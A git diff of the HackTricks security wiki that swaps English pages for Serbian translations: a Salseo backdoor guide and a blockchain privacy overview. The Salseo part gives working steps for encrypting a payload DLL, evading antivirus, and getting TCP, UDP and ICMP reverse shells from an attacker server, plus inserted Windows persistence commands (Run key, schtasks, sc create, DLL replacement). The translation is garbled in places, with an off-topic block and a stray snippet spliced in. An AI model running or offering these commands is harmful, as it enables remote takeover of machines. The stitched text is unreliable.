**EvilSalsa.dll**. Za to možete koristiti python skriptu **encrypterassembly.py** ili možete kompajlirati projekat **EncrypterAssembly**: ### **Python** - ``` python EncrypterAssembly/encrypterassembly.py python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt ``` - ### Windows +Windows operativni sistem pruža razne mogućnosti za postavljanje backdoor-a i održavanje pristupa računaru. U nastavku su opisane neke od najčešćih tehnika: + +#### 1. Registry backdoor + +Ova tehnika uključuje izmenu registra kako bi se omogućio pristup računaru. Možete dodati novi unos u registar koji će se pokrenuti prilikom svakog pokretanja sistema. Na taj način, backdoor će biti aktiviran svaki put kada se računar pokrene. + +```plaintext +[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] +"Backdoor"="C:\\path\\to\\backdoor.exe" +``` + +#### 2. Scheduled Task backdoor + +Korišćenje zakazanih zadataka je još jedan način za postavljanje backdoor-a. Možete kreirati novi zakazani zadatak koji će se izvršavati u određeno vreme ili prilikom određenog događaja. Na taj način, backdoor će biti pokrenut automatski prema vašim postavkama. + +```plaintext +schtasks /create /sc minute /mo 5 /tn "Backdoor" /tr "C:\\path\\to\\backdoor.exe" +``` + +#### 3. Service backdoor + +Kreiranje backdoor-a kao Windows servisa takođe može biti efikasan način održavanja pristupa računaru. Možete kreirati novi servis koji će se pokretati u pozadini i omogućiti vam pristup računaru. + +```plaintext +sc create Backdoor binPath= "C:\\path\\to\\backdoor.exe" start= auto +sc start Backdoor +``` + +#### 4. DLL backdoor + +Manipulacija DLL fajlovima takođe može biti korisna tehnika za postavljanje backdoor-a. Možete zameniti postojeću DLL datoteku sa modifikovanom verzijom koja će omogućiti pristup računaru. + +```plaintext +ren C:\\path\\to\\original.dll original.dll.bak +copy C:\\path\\to\\backdoor.dll C:\\path\\to\\original.dll +``` + +#### 5. Trojan backdoor + +Trojanski konj je vrsta zlonamernog softvera koji se maskira kao legitimna aplikacija. Možete koristiti trojanskog konja kao backdoor kako biste dobili pristup računaru. Ova tehnika obično zahteva socijalno inženjering kako bi se žrtva navela da preuzme i pokrene trojanskog konja. + +#### 6. Remote Administration Tools (RATs) + +RAT alati su softverski alati koji omogućavaju daljinsko upravljanje računarom. Možete koristiti RAT alate kao backdoor kako biste dobili pristup računaru i izvršavali različite komande. + +#### 7. Exploiting Vulnerabilities + +Iskorišćavanje ranjivosti u Windows operativnom sistemu takođe može dovesti do postavljanja backdoor-a. Pronalaženje i iskorišćavanje ranjivosti može vam omogućiti pristup računaru. + +Napomena: Korišćenje ovih tehnika za neovlašćeni pristup računarima je ilegalno i može imati ozbiljne pravne posledice. Ove tehnike su ovde opisane samo u informativne svrhe kako biste bolje razumeli potencijalne ranjivosti i zaštitili svoje računare od napada. ``` EncrypterAssembly.exe EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt ``` +Dobro, sada imate sve što vam je potrebno da izvršite sve Salseo stvari: **enkodirani EvilDalsa.dll** i **binarni fajl SalseoLoader.** -Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.** +**Postavite binarni fajl SalseoLoader.exe na mašinu. Ne bi trebalo da bude otkriven od strane antivirus programa...** -**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...** +## **Izvršite backdoor** -## **Execute the backdoor** - -### **Getting a TCP reverse shell (downloading encoded dll through HTTP)** - -Remember to start a nc as the reverse shell listener and a HTTP server to serve the encoded evilsalsa. +### **Dobijanje TCP reverse shell-a (preuzimanje enkodiranog dll-a putem HTTP-a)** +Ne zaboravite da pokrenete nc kao listener za reverse shell i HTTP server za serviranje enkodiranog evilsalsa. ``` SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp ``` +### **Dobijanje UDP obrnutog školjka (preuzimanje kodirane dll preko SMB-a)** -### **Getting a UDP reverse shell (downloading encoded dll through SMB)** - -Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver). - +Zapamtite da pokrenete nc kao osluškivač obrnutog školjka i SMB server za posluživanje kodirane evilsalsa (impacket-smbserver). ``` SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp ``` +### **Dobijanje obrnutog školjkaškog pristupa putem ICMP-a (enkodirani dll već prisutan na žrtvi)** -### **Getting a ICMP reverse shell (encoded dll already inside the victim)** - -**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) - -#### **Disable ICMP Replies:** +**Ovaj put vam je potreban poseban alat na klijentu za prijem obrnutog školjkaškog pristupa. Preuzmite:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) +#### **Onemogućavanje ICMP odgovora:** ``` sysctl -w net.ipv4.icmp_echo_ignore_all=1 #You finish, you can enable it again running: sysctl -w net.ipv4.icmp_echo_ignore_all=0 ``` +#### Izvršite klijenta: -#### Execute the client: +```bash +./client +``` +Ovom komandom pokrećete klijenta. ``` python icmpsh_m.py "" "" ``` - -#### Inside the victim, lets execute the salseo thing: - +#### Unutar žrtve, izvršimo salseo stvar: ``` SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ``` +## Kompajliranje SalseoLoader-a kao DLL koji izvozi glavnu funkciju -## Compiling SalseoLoader as DLL exporting main function +Otvorite projekat SalseoLoader koristeći Visual Studio. -Open the SalseoLoader project using Visual Studio. - -### Add before the main function: \[DllExport] +### Dodajte ispred glavne funkcije: \[DllExport] ![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -### Install DllExport for this project +### Instalirajte DllExport za ovaj projekat -#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...** +#### **Alati** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...** ![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -#### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)** +#### **Pretražite DllExport paket (koristeći karticu Browse), i pritisnite Install (i prihvatite popup)** ![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png>) -In your project folder have appeared the files: **DllExport.bat** and **DllExport\_Configure.bat** +U vašem projekt folderu će se pojaviti fajlovi: **DllExport.bat** i **DllExport\_Configure.bat** -### **U**ninstall DllExport +### **Deinstalirajte** DllExport -Press **Uninstall** (yeah, its weird but trust me, it is necessary) +Pritisnite **Uninstall** (da, čudno je ali verujte mi, neophodno je) ![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>) -### **Exit Visual Studio and execute DllExport\_configure** +### **Izađite iz Visual Studio-a i izvršite DllExport\_configure** -Just **exit** Visual Studio +Jednostavno **izađite** iz Visual Studio-a -Then, go to your **SalseoLoader folder** and **execute DllExport\_Configure.bat** +Zatim, idite u vaš **SalseoLoader folder** i **izvršite DllExport\_Configure.bat** -Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices** (inside **Namespace for DllExport**) and press **Apply** +Izaberite **x64** (ako ćete ga koristiti unutar x64 sistema, to je bio moj slučaj), izaberite **System.Runtime.InteropServices** (unutar **Namespace for DllExport**) i pritisnite **Apply** ![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>) -### **Open the project again with visual Studio** +### **Otvorite projekat ponovo sa Visual Studio-om** -**\[DllExport]** should not be longer marked as error +**\[DllExport]** više ne bi trebalo biti označeno kao greška ![](<../.gitbook/assets/image (8) (1).png>) -### Build the solution +### Izgradite rešenje -Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library) +Izaberite **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library) ![](<../.gitbook/assets/image (10) (1).png>) -Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64) +Izaberite **x64** **platformu** (Project --> SalseoLoader Properties --> Build --> Platform target = x64) ![](<../.gitbook/assets/image (9) (1) (1).png>) -To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear) +Da biste **izgradili** rešenje: Build --> Build Solution (Unutar Output konzole će se pojaviti putanja nove DLL datoteke) -### Test the generated Dll +### Testirajte generisanu Dll -Copy and paste the Dll where you want to test it. - -Execute: +Kopirajte i nalepite DLL gde želite da je testirate. +Izvršite: ``` rundll32.exe SalseoLoader.dll,main ``` +Ako se ne pojavi greška, verovatno imate funkcionalnu DLL datoteku!! -If no error appears, probably you have a functional DLL!! +## Dobijanje shell-a korišćenjem DLL datoteke -## Get a shell using the DLL - -Don't forget to use a **HTTP** **server** and set a **nc** **listener** +Ne zaboravite da koristite **HTTP** **server** i postavite **nc** **listener** ### Powershell - ``` $env:pass="password" $env:payload="http://10.2.0.5/evilsalsax64.dll.txt" @@ -175,9 +215,9 @@ $env:lport="1337" $env:shell="reversetcp" rundll32.exe SalseoLoader.dll,main ``` - ### CMD +CMD (Command Prompt) je ugrađeni alat u operativnom sistemu Windows koji omogućava korisnicima da komuniciraju sa sistemom putem naredbi. CMD se često koristi u hakovanju kao sredstvo za izvršavanje različitih komandi i skripti radi postizanja određenih ciljeva. Ovaj alat može biti veoma moćan i omogućava hakerima da manipulišu sistemom, preuzimaju kontrolu nad njim i izvršavaju različite akcije. CMD se može koristiti za pretragu fajlova, pokretanje programa, pristupanje mrežnim resursima, promenu postavki sistema i još mnogo toga. Hakeri često koriste CMD za izvršavanje različitih napada, kao što su backdoor napadi, keylogging, preuzimanje kontrola nad sistemom i mnoge druge tehnike. Važno je napomenuti da je korišćenje CMD-a u nelegalne svrhe ilegalno i može imati ozbiljne pravne posledice. ``` set pass=password set payload=http://10.2.0.5/evilsalsax64.dll.txt @@ -186,17 +226,16 @@ set lport=1337 set shell=reversetcp rundll32.exe SalseoLoader.dll,main ``` -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/blockchain/blockchain-and-crypto-currencies/README.md b/blockchain/blockchain-and-crypto-currencies/README.md index 988b051e5..fe996b460 100644 --- a/blockchain/blockchain-and-crypto-currencies/README.md +++ b/blockchain/blockchain-and-crypto-currencies/README.md @@ -1,195 +1,187 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-## Basic Concepts +## Osnovni Koncepti -- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries. -- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end. -- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts. - - **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership. -- **DeFi** stands for Decentralized Finance, offering financial services without central authorities. -- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively. +- **Pametni ugovori** se definišu kao programi koji se izvršavaju na blockchain-u kada se ispune određeni uslovi, automatizujući izvršenje sporazuma bez posrednika. +- **Decentralizovane aplikacije (dApps)** se grade na pametnim ugovorima, sa korisničkim interfejsom koji je prijateljski nastrojen i transparentnim, proverljivim backend-om. +- **Tokeni & Kriptovalute** se razlikuju gde kriptovalute služe kao digitalni novac, dok tokeni predstavljaju vrednost ili vlasništvo u određenim kontekstima. +- **Utility Tokeni** omogućavaju pristup uslugama, a **Security Tokeni** označavaju vlasništvo nad imovinom. +- **DeFi** označava Decentralizovanu Finansiju, koja nudi finansijske usluge bez centralnih autoriteta. +- **DEX** i **DAO** se odnose na Decentralizovane Platforme za Razmenu i Decentralizovane Autonomne Organizacije, redom. -## Consensus Mechanisms +## Mekanizmi Konsenzusa -Consensus mechanisms ensure secure and agreed transaction validations on the blockchain: -- **Proof of Work (PoW)** relies on computational power for transaction verification. -- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW. +Mekanizmi konsenzusa obezbeđuju sigurnu i dogovorenu validaciju transakcija na blockchain-u: +- **Proof of Work (PoW)** se oslanja na računarsku snagu za verifikaciju transakcija. +- **Proof of Stake (PoS)** zahteva od validatora da poseduju određenu količinu tokena, smanjujući potrošnju energije u poređenju sa PoW-om. -## Bitcoin Essentials +## Osnove Bitkoina -### Transactions +### Transakcije -Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers. +Bitkoin transakcije uključuju prenos sredstava između adresa. Transakcije se validiraju putem digitalnih potpisa, obezbeđujući da samo vlasnik privatnog ključa može pokrenuti prenose. -#### Key Components: +#### Ključni Elementi: -- **Multisignature Transactions** require multiple signatures to authorize a transaction. -- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules). +- **Multisignature Transakcije** zahtevaju više potpisa za autorizaciju transakcije. +- Transakcije se sastoje od **ulaza** (izvor sredstava), **izlaza** (odredište), **naknade** (plaćene rudarima) i **skripti** (pravila transakcije). -### Lightning Network +### Lightning Mreža -Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain. +Cilj je poboljšati skalabilnost Bitkoina omogućavajući više transakcija unutar kanala, pri čemu se samo konačno stanje emituje na blockchain. -## Bitcoin Privacy Concerns +## Problemi Privatnosti Bitkoina -Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users. +Napadi na privatnost, poput **Zajedničkog Vlasništva Ulaza** i **Detekcije Adrese za Promenu UTXO**, iskorišćavaju obrasce transakcija. Strategije poput **Miksera** i **CoinJoin-a** poboljšavaju anonimnost tako što zamagljuju veze između transakcija između korisnika. -## Acquiring Bitcoins Anonymously +## Anonimno Nabavljanje Bitkoina -Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy. +Metode uključuju gotovinske razmene, rudarenje i korišćenje miksera. **CoinJoin** meša više transakcija kako bi otežao praćenje, dok **PayJoin** prikriva CoinJoin kao redovne transakcije za povećanu privatnost. -# Bitcoin Privacy Atacks +# Napadi na Privatnost Bitkoina -# Summary of Bitcoin Privacy Attacks +# Rezime Napada na Privatnost Bitkoina -In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy. +U svetu Bitkoina, privatnost transakcija i anonimnost korisnika često su predmet zabrinutosti. Evo pojednostavljenog pregleda nekoliko uobičajenih metoda putem kojih napadači mogu ugroziti privatnost Bitkoina. -## **Common Input Ownership Assumption** +## **Pretpostavka o Zajedničkom Vlasništvu Ulaza** -It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**. +Uobičajeno je da se ulazi različitih korisnika retko kombinuju u jednoj transakciji zbog složenosti. Stoga, **dve adrese ulaza u istoj transakciji često se smatraju da pripadaju istom vlasniku**. -## **UTXO Change Address Detection** +## **Detekcija Adrese za Promenu UTXO** -A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy. +UTXO, ili **Unspent Transaction Output**, mora biti u potpunosti potrošen u transakciji. Ako samo deo njega bude poslat na drugu adresu, preostali deo ide na novu adresu za promenu. Posmatrači mogu pretpostaviti da ova nova adresa pripada pošiljaocu, ugrožavajući privatnost. -### Example -To mitigate this, mixing services or using multiple addresses can help obscure ownership. +### Primer +Da bi se to izbeglo, mikseri ili korišćenje više adresa mogu pomoći u zamagljivanju vlasništva. -## **Social Networks & Forums Exposure** +## **Izloženost na Društvenim Mrežama i Forumima** -Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**. +Korisnici ponekad dele svoje Bitkoin adrese na mreži, što olakšava povezivanje adrese sa njenim vlasnikom. -## **Transaction Graph Analysis** +## **Analiza Grafa Transakcija** -Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds. +Transakcije se mogu vizualizovati kao grafovi, otkrivajući potencijalne veze između korisnika na osnovu toka sredstava. -## **Unnecessary Input Heuristic (Optimal Change Heuristic)** +## **Heuristika Nepotrebnog Ulaza (Optimalna Heuristika za Promenu)** -This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender. - -### Example +Ova heuristika se zasniva na analizi transakcija sa više ulaza i izlaza kako bi se pretpostavilo koji izlaz predstavlja promenu koja se vraća pošiljaocu. +### Primer ```bash 2 btc --> 4 btc 3 btc 1 btc ``` +## **Prisilno ponovno korišćenje adresa** -If adding more inputs makes the change output larger than any single input, it can confuse the heuristic. +Napadači mogu poslati male iznose na prethodno korišćene adrese, nadajući se da će primalac te adrese kombinovati te iznose sa drugim ulazima u budućim transakcijama, čime će povezati adrese. -## **Forced Address Reuse** +### Ispravno ponašanje novčanika +Novčanici bi trebali izbegavati korišćenje novčića primljenih na već korišćenim, praznim adresama kako bi se sprečilo otkrivanje privatnosti. -Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together. +## **Druge tehnike analize blokčejna** -### Correct Wallet Behavior -Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak. +- **Tačni iznosi plaćanja:** Transakcije bez promene verovatno su između dve adrese koje pripadaju istom korisniku. +- **Okrugli iznosi:** Okrugao iznos u transakciji sugeriše da je to plaćanje, pri čemu je izlaz koji nije okrugao verovatno promena. +- **Identifikacija novčanika:** Različiti novčanici imaju jedinstvene obrasce kreiranja transakcija, što omogućava analitičarima da identifikuju korišćeni softver i potencijalno adresu za promenu. +- **Korelacije iznosa i vremena:** Otkrivanje vremena ili iznosa transakcija može dovesti do praćenja transakcija. -## **Other Blockchain Analysis Techniques** +## **Analiza saobraćaja** -- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user. -- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change. -- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address. -- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable. +Prateći saobraćaj na mreži, napadači mogu potencijalno povezati transakcije ili blokove sa IP adresama, ugrožavajući privatnost korisnika. Ovo je posebno tačno ako entitet ima mnogo Bitcoin čvorova, što povećava njihovu sposobnost praćenja transakcija. -## **Traffic Analysis** - -By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions. - -## More -For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). +## Više informacija +Za sveobuhvatan spisak napada na privatnost i odbrana, posetite [Bitcoin Privacy na Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). -# Anonymous Bitcoin Transactions +# Anonimne Bitcoin transakcije -## Ways to Get Bitcoins Anonymously +## Načini anonimnog dobijanja Bitcoina -- **Cash Transactions**: Acquiring bitcoin through cash. -- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin. -- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) -- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended. +- **Gotovinske transakcije**: Dobijanje Bitcoina putem gotovine. +- **Alternativne gotovinske opcije**: Kupovina poklon kartica i njihova zamena za Bitcoin putem interneta. +- **Rudarenje**: Najprivatniji način za zaradu Bitcoina je rudarenje, posebno kada se radi samostalno, jer rudarski bazeni mogu znati IP adresu rudara. [Informacije o rudarskim bazenima](https://en.bitcoin.it/wiki/Pooled_mining) +- **Krađa**: Teorijski, krađa Bitcoina može biti još jedan način anonimnog dobijanja, iako je ilegalna i nije preporučljiva. -## Mixing Services +## Usluge mešanja -By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos. +Korišćenjem usluge mešanja, korisnik može **poslati Bitcoine** i dobiti **različite Bitcoine zauzvrat**, što otežava praćenje originalnog vlasnika. Međutim, ovo zahteva poverenje u uslugu da ne čuva logove i da zaista vrati Bitcoine. Alternativne opcije za mešanje uključuju Bitcoin kazina. ## CoinJoin -**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced. +**CoinJoin** spaja više transakcija različitih korisnika u jednu, otežavajući proces svima koji pokušavaju da upare ulaze i izlaze. Uprkos njegovoj efikasnosti, transakcije sa jedinstvenim veličinama ulaza i izlaza i dalje mogu potencijalno biti praćene. -Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. +Primeri transakcija koje su možda koristile CoinJoin uključuju `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` i `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. -For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners. +Za više informacija, posetite [CoinJoin](https://coinjoin.io/en). Za sličnu uslugu na Ethereumu, pogledajte [Tornado Cash](https://tornado.cash), koji anonimizuje transakcije sa sredstvima od rudara. ## PayJoin -A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities. - +Varijanta CoinJoin-a, **PayJoin** (ili P2EP), prikriva transakciju između dve strane (na primer, kupca i trgovca) kao običnu transakciju, bez karakterističnih jednakih izlaza koje ima CoinJoin. Ovo ga čini izuzetno teškim za otkrivanje i može poništiti heuristiku o zajedničkom vlasništvu ulaza koju koriste entiteti za nadzor transakcija. ```plaintext 2 btc --> 3 btc 5 btc 4 btc ``` +Transakcije poput one iznad mogu biti PayJoin, poboljšavajući privatnost dok ostaju neodvojive od standardnih bitkoin transakcija. -Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions. - -**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy. +**Upotreba PayJoin-a može značajno poremetiti tradicionalne metode nadzora**, što je obećavajući razvoj u potrazi za transakcijskom privatnošću. -# Best Practices for Privacy in Cryptocurrencies +# Najbolje prakse za privatnost u kriptovalutama -## **Wallet Synchronization Techniques** +## **Tehnike sinhronizacije novčanika** -To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out: +Da bi se održala privatnost i sigurnost, ključno je sinhronizovati novčanike sa blokčejnom. Dve metode se ističu: -- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in. -- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found. +- **Puni čvor**: Preuzimanjem celokupnog blokčejna, puni čvor obezbeđuje maksimalnu privatnost. Sve transakcije ikada izvršene se čuvaju lokalno, što onemogućava protivnicima da identifikuju koje transakcije ili adrese korisniku predstavljaju interes. +- **Filtriranje blokova na strani klijenta**: Ova metoda podrazumeva kreiranje filtera za svaki blok u blokčejnu, omogućavajući novčanicima da identifikuju relevantne transakcije bez otkrivanja specifičnih interesa posmatračima na mreži. Lagani novčanici preuzimaju ove filtere, preuzimajući pune blokove samo kada se pronađe podudaranje sa adresama korisnika. -## **Utilizing Tor for Anonymity** +## **Korišćenje Tor-a za anonimnost** -Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network. +S obzirom da Bitcoin funkcioniše na peer-to-peer mreži, preporučuje se korišćenje Tor-a kako bi se sakrila IP adresa i poboljšala privatnost prilikom interakcije sa mrežom. -## **Preventing Address Reuse** +## **Prevencija ponovne upotrebe adresa** -To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design. +Da bi se zaštitila privatnost, važno je koristiti novu adresu za svaku transakciju. Ponovna upotreba adresa može ugroziti privatnost povezivanjem transakcija sa istim entitetom. Moderne novčanike odvraćaju od ponovne upotrebe adresa svojim dizajnom. -## **Strategies for Transaction Privacy** +## **Strategije za privatnost transakcija** -- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks. -- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods. -- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy. +- **Više transakcija**: Podela plaćanja na nekoliko transakcija može zamagliti iznos transakcije i ometati napade na privatnost. +- **Izbegavanje kusura**: Odabir transakcija koje ne zahtevaju izlaz za kusur poboljšava privatnost ometanjem metoda za otkrivanje kusura. +- **Više izlaza za kusur**: Ako izbegavanje kusura nije izvodljivo, generisanje više izlaza za kusur i dalje može poboljšati privatnost. -# **Monero: A Beacon of Anonymity** +# **Monero: Znak anonimnosti** -Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy. +Monero se bavi potrebom za apsolutnom anonimnošću u digitalnim transakcijama, postavljajući visok standard za privatnost. -# **Ethereum: Gas and Transactions** +# **Ethereum: Gas i transakcije** -## **Understanding Gas** +## **Razumevanje Gasa** -Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded. +Gas meri računarski napor potreban za izvršavanje operacija na Ethereumu, ceneći se u **gwei**-ima. Na primer, transakcija koja košta 2.310.000 gwei (ili 0,00231 ETH) uključuje limit gasa i osnovnu naknadu, sa napojnicom za podsticanje rudara. Korisnici 